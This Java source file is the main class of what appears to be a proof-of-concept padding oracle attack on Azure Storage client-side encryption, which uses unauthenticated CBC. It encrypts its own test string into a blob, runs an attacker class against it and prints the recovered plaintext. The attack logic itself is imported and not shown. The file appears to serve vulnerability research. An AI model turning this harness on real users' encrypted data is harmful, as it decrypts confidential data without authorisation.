package net.keymaterial.azure.main;

import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.Arrays;

import javax.crypto.spec.SecretKeySpec;

import com.azure.core.cryptography.AsyncKeyEncryptionKey;
import com.azure.security.keyvault.keys.cryptography.KeyEncryptionKeyClientBuilder;
import com.azure.security.keyvault.keys.models.JsonWebKey;
import com.azure.security.keyvault.keys.models.KeyOperation;

import net.keymaterial.azure.attack.Oracle;
import net.keymaterial.azure.attack.PaddingOracle;
import net.keymaterial.azure.storage.StorageOracle;

public class Exploit {

	public static void main(String[] args) throws Exception {
		if (args.length != 1) {
			System.err.println("Expected connection string as argument");
		}
		byte[] kek = new byte[128];
		new SecureRandom().nextBytes(kek);
		JsonWebKey localKey = JsonWebKey.fromAes(new SecretKeySpec(kek, "A128KW"),
				Arrays.asList(KeyOperation.WRAP_KEY, KeyOperation.UNWRAP_KEY)).setId("my-id");
		AsyncKeyEncryptionKey akek = new KeyEncryptionKeyClientBuilder().buildAsyncKeyEncryptionKey(localKey).block();

		String connectionString = args[0];
		String containerName = "paddingoraclecontainer";
		String blobName = "cbc";
		String data = "Why is it always unauthenticated CBC?";
		Oracle oracle = new StorageOracle(data, containerName, blobName, connectionString, akek);
		PaddingOracle attacker = new PaddingOracle(oracle);
		byte[] recovered = attacker.attack();
		String recoveredString=	new String(recovered, StandardCharsets.UTF_8);
		System.out.println("Attack complete. Guesses required: " + oracle.getNumberOfGuesses());
		System.out.println("Recovered plaintext: " + recoveredString);
		System.out.println("Attack " + (recoveredString.equals(data) ? "successful" : "failed") + "!");
	}

}
